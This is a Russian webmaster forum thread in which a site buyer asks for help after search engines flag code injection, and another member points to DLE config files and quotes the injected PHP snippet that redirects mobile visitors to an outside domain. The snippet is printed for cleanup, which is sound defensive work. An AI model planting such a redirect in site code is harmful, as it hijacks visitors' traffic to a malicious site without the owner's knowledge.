Вирус на сайте

Сообщений: 576 Регистрация: Июн 2012

3 Февраля 2013 20:12

Купил сайт, http://dvaavto.ru/. После покупки обнаружил в нем взлом, в файле дбконф и конф был популярные в недавнее время взлом с перенаправлением мобильного трафика статусес что-то там :(Удалил я его, и вот сегодня решил добавить в яндекс вебмастер и гугл мастер, выдало

Код

03.02.2013http://dvaavto.ru/tehnika/avtoservice/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/tags/Jaguar/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/catalogMal/JSIfrLd-A03.02.2013http://dvaavto.ru/dtpMal/JSIfrLd-A03.02.2013http://dvaavto.ru/tags/%E0%E2%F2%EE/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/tehnika/16-centr-audi-ag-ekologicheski-chistoe-zavtra-resheniya-buduschego.htmlMal/JSIfrLd-A03.02.2013http://dvaavto.ru/tags/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/stati/Mal/JSIfrLd-A03.02.2013http://dvaavto.ru/tehnika/17-test-2012-22-zimnih-shin-205-55-r16-v-poiskah-nastoyaschey-zimy.htmlMal/JSIfrLd-A03.02.2013http://dvaavto.ru/tags/%C2%FB%F1%F2%E0%E2%EA%E0+%F2%FE%ED%E8%ED%E3%E0+SEMA+2012:+Scion+FR-S+%E2%F1%E5%F5+%F6%E2%E5%F2%EE%E2+%F0%E0%E4%F3%E3%E8/

в гугле

Код
URL-адреса Тип Последняя проверка

Код
http://dvaavto.ru/ Внедрение кода 02.02.13

Код
http://dvaavto.ru/tags/ Внедрение кода 02.02.13

Код
http://dvaavto.ru/tags/BMW+ETK+2-2010/ Внедрение кода 02.02.13

Значить где-то остался вирус или вредоносный код. Кто сталкивался с подобным или может помочь отпишите.

Лучшая Партнерка под Ютуб (Помощь рефералам)

Лучший конверт любого моб. трафика

Копирайт и рерайт по выгодной цене

АнтиП Замкадов

Сообщений: 797 Регистрация: Май 2010

4 Февраля 2013 00:52

Сайт на DLE?

KylukovAV

Сообщений: 1276 Регистрация: Май 2011

4 Февраля 2013 03:33

Посмотрите в файлах:
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php
может это тот самый редикет:

Код

 $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');
}

У меня тоже 2 числа ломанули, почистил все тип топ, к вечеру с сайта яша уже снял маркер smile:)

Silver Neo

Сообщений: 576 Регистрация: Июн 2012

4 Февраля 2013 10:31

Цитата

KylukovAV пишет:
Посмотрите в файлах:
index.php
engine/engine.php
engine/init.php
engine/data/config.php
engine/data/dbconfig.php
может это тот самый редикет:

Код

  $iphone = strpos($_SERVER['HTTP_USER_AGENT'],"iPhone");
$android = strpos($_SERVER['HTTP_USER_AGENT'],"Android");
$palmpre = strpos($_SERVER['HTTP_USER_AGENT'],"webOS");
$berry = strpos($_SERVER['HTTP_USER_AGENT'],"BlackBerry");
$ipod = strpos($_SERVER['HTTP_USER_AGENT'],"iPod");

if ($iphone || $android || $palmpre || $ipod || $berry === true) { 
    header('Location: http://statuses.ws/');
}

У меня тоже 2 числа ломанули, почистил все тип топ, к вечеру с сайта яша уже снял маркер smile:)

Странно, я думал проверил все файлы, и оказался не прав. Нашел именно там где вы и сказали и удалил. Еще раз более тщательно проверил весь сайт. больше не нашел. Подал заявки в гугле и яше на перепроверку. Буду ждать smile:)

Большое вам спасибо smile:)

Новые темы	Объявления	Свободное общение
15:08 Стоит ли добавлять сайт в Rambler топ 100? 14:14 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options 19:33 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика! 09:02 Как продвигать сайт с неуникальным контентом 08:57 Absence в Армении 14:50 Индексация страниц 12:36 У кого новостник, дайте пару советов плиз	17:33 Скрипт обменника валют 17:11 Продам аккаунты Gmail USA IP \| Gmail MIX IP \| Outlook Old 16:38 Продам копию сайта. 12:52 swapsfera.com 12:38 Volna.money 18:59 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств 12:20 ABCproxy—Премиум жилой прокси, 190+ локаторов, Неограниченная пропускная способность, $0.77/GB, Trial Scraper api	20:48 Точные прогнозы на футбол 19:04 Ну что, кто куда деваете свои сайты? 22:09 Добро пожаловать в цифровой мир... 19:42 Топ-5 способов использовать мобильные прокси для бизнеса: подробный обзор 22:08 Накрутка поисковых подсказок 14:01 Union Pharm - топовая фарма-партнерка для профессионалов! 10:59 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди

Новые темы

Объявления

Свободное общение

15:08 Стоит ли добавлять сайт в Rambler топ 100?
14:14 LOSPOLLOS.COM - Конвертим по рецепту Хайзенберга. Dating, Mainstream, Binary Options
19:33 Dao.AD: Монетизация и покупка Push/Pops/Inpage и Video трафика!
09:02 Как продвигать сайт с неуникальным контентом
08:57 Absence в Армении
14:50 Индексация страниц
12:36 У кого новостник, дайте пару советов плиз

17:33 Скрипт обменника валют
17:11 Продам аккаунты Gmail USA IP | Gmail MIX IP | Outlook Old
16:38 Продам копию сайта.
12:52 swapsfera.com
12:38 Volna.money
18:59 BestX24 - быстрый и безопасный обменник криптовалют и электронных денежных средств
12:20 ABCproxy—Премиум жилой прокси, 190+ локаторов, Неограниченная пропускная способность, $0.77/GB, Trial Scraper api

20:48 Точные прогнозы на футбол
19:04 Ну что, кто куда деваете свои сайты?
22:09 Добро пожаловать в цифровой мир...
19:42 Топ-5 способов использовать мобильные прокси для бизнеса: подробный обзор
22:08 Накрутка поисковых подсказок
14:01 Union Pharm - топовая фарма-партнерка для профессионалов!
10:59 Ням-ням! - 8 деликатесов, которые когда-то ели только бедные люди

11.12.2024 14:57	Конгресс США заявил о лабораторном происхождении коронавируса
22.11.2024 09:05	Продвижение петиций на сайте change.org
30.06.2024 21:52	Корейский провайдер наказал пользователей торрентов вирусами, а теперь наказание грозит ему
06.03.2024 12:01	Спойлер на 2024: "Зомби-вирус"
18.08.2023 10:49	Установка Wordpress в папку на статическом сайте